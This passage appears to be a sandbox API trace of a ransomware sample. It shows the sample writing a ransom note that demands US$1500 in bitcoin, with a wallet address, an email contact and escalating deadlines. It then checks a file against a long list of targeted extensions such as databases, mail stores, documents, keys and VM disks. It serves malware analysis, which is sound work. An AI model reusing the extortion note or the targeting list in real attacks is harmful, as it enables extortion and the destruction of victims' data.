(lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.excel.addinadapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.129] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.129] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.130] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.131] CloseHandle (hObject=0x90) returned 1 [0099.131] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll" [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.ems") returned 0 [0099.131] lstrlenA (lpString="*.ems") returned 5 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.db") returned 0 [0099.131] lstrlenA (lpString="*.db") returned 4 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.dbf") returned 0 [0099.131] lstrlenA (lpString="*.dbf") returned 5 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.myox") returned 0 [0099.131] lstrlenA (lpString="*.myox") returned 6 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.myo") returned 0 [0099.131] lstrlenA (lpString="*.myo") returned 5 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qbw") returned 0 [0099.131] lstrlenA (lpString="*.qbw") returned 5 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qbb") returned 0 [0099.131] lstrlenA (lpString="*.qbb") returned 5 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qbm") returned 0 [0099.131] lstrlenA (lpString="*.qbm") returned 5 [0099.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qbo") returned 0 [0099.133] lstrlenA (lpString="*.qbo") returned 5 [0099.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qbx") returned 0 [0099.139] lstrlenA (lpString="*.qbx") returned 5 [0099.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qba") returned 0 [0099.139] lstrlenA (lpString="*.qba") returned 5 [0099.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qby") returned 0 [0099.139] lstrlenA (lpString="*.qby") returned 5 [0099.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qbj") returned 0 [0099.144] lstrlenA (lpString="*.qbj") returned 5 [0099.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.ofx") returned 0 [0099.144] lstrlenA (lpString="*.ofx") returned 5 [0099.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.qif") returned 0 [0099.144] lstrlenA (lpString="*.qif") returned 5 [0099.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mye") returned 0 [0099.144] lstrlenA (lpString="*.mye") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mbox") returned 0 [0099.145] lstrlenA (lpString="*.mbox") returned 6 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.eml") returned 0 [0099.145] lstrlenA (lpString="*.eml") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.pst") returned 0 [0099.145] lstrlenA (lpString="*.pst") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.ost") returned 0 [0099.145] lstrlenA (lpString="*.ost") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.idx") returned 0 [0099.145] lstrlenA (lpString="*.idx") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.dbx") returned 0 [0099.145] lstrlenA (lpString="*.dbx") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.sql") returned 0 [0099.145] lstrlenA (lpString="*.sql") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mdb") returned 0 [0099.145] lstrlenA (lpString="*.mdb") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.fdb") returned 0 [0099.145] lstrlenA (lpString="*.fdb") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.wab") returned 0 [0099.145] lstrlenA (lpString="*.wab") returned 5 [0099.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.dat") returned 0 [0099.145] lstrlenA (lpString="*.dat") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.txt") returned 0 [0099.146] lstrlenA (lpString="*.txt") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.jpeg") returned 0 [0099.146] lstrlenA (lpString="*.jpeg") returned 6 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.jpg") returned 0 [0099.146] lstrlenA (lpString="*.jpg") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.png") returned 0 [0099.146] lstrlenA (lpString="*.png") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.php") returned 0 [0099.146] lstrlenA (lpString="*.php") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.cs") returned 0 [0099.146] lstrlenA (lpString="*.cs") returned 4 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.cpp") returned 0 [0099.146] lstrlenA (lpString="*.cpp") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.rar") returned 0 [0099.146] lstrlenA (lpString="*.rar") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.zip") returned 0 [0099.146] lstrlenA (lpString="*.zip") returned 5 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.html") returned 0 [0099.146] lstrlenA (lpString="*.html") returned 6 [0099.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.htm") returned 0 [0099.147] lstrlenA (lpString="*.htm") returned 5 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.xlsx") returned 0 [0099.147] lstrlenA (lpString="*.xlsx") returned 6 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.xls") returned 0 [0099.147] lstrlenA (lpString="*.xls") returned 5 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mp4") returned 0 [0099.147] lstrlenA (lpString="*.mp4") returned 5 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.ppt") returned 0 [0099.147] lstrlenA (lpString="*.ppt") returned 5 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.pptx") returned 0 [0099.147] lstrlenA (lpString="*.pptx") returned 6 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.doc") returned 0 [0099.147] lstrlenA (lpString="*.doc") returned 5 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.dot") returned 0 [0099.147] lstrlenA (lpString="*.dot") returned 5 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.docx") returned 0 [0099.147] lstrlenA (lpString="*.docx") returned 6 [0099.147] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.7z") returned 0 [0099.147] lstrlenA (lpString="*.7z") returned 4 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.tar") returned 0 [0099.148] lstrlenA (lpString="*.tar") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.bz2") returned 0 [0099.148] lstrlenA (lpString="*.bz2") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.gz") returned 0 [0099.148] lstrlenA (lpString="*.gz") returned 4 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mkv") returned 0 [0099.148] lstrlenA (lpString="*.mkv") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.eml") returned 0 [0099.148] lstrlenA (lpString="*.eml") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.msg") returned 0 [0099.148] lstrlenA (lpString="*.msg") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.edb") returned 0 [0099.148] lstrlenA (lpString="*.edb") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.accdb") returned 0 [0099.148] lstrlenA (lpString="*.accdb") returned 7 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.odb") returned 0 [0099.148] lstrlenA (lpString="*.odb") returned 5 [0099.148] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.java") returned 0 [0099.148] lstrlenA (lpString="*.java") returned 6 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.asm") returned 0 [0099.149] lstrlenA (lpString="*.asm") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.pfx") returned 0 [0099.149] lstrlenA (lpString="*.pfx") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.pem") returned 0 [0099.149] lstrlenA (lpString="*.pem") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.p12") returned 0 [0099.149] lstrlenA (lpString="*.p12") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.gpg") returned 0 [0099.149] lstrlenA (lpString="*.gpg") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.vsd") returned 0 [0099.149] lstrlenA (lpString="*.vsd") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.odg") returned 0 [0099.149] lstrlenA (lpString="*.odg") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.raw") returned 0 [0099.149] lstrlenA (lpString="*.raw") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.nef") returned 0 [0099.149] lstrlenA (lpString="*.nef") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.svg") returned 0 [0099.149] lstrlenA (lpString="*.svg") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.psd") returned 0 [0099.149] lstrlenA (lpString="*.psd") returned 5 [0099.149] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.vmx") returned 0 [0099.150] lstrlenA (lpString="*.vmx") returned 5 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.vmdk") returned 0 [0099.150] lstrlenA (lpString="*.vmdk") returned 6 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.vdi") returned 0 [0099.150] lstrlenA (lpString="*.vdi") returned 5 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.lay6") returned 0 [0099.150] lstrlenA (lpString="*.lay6") returned 6 [0099.150] PathMatchSpecA 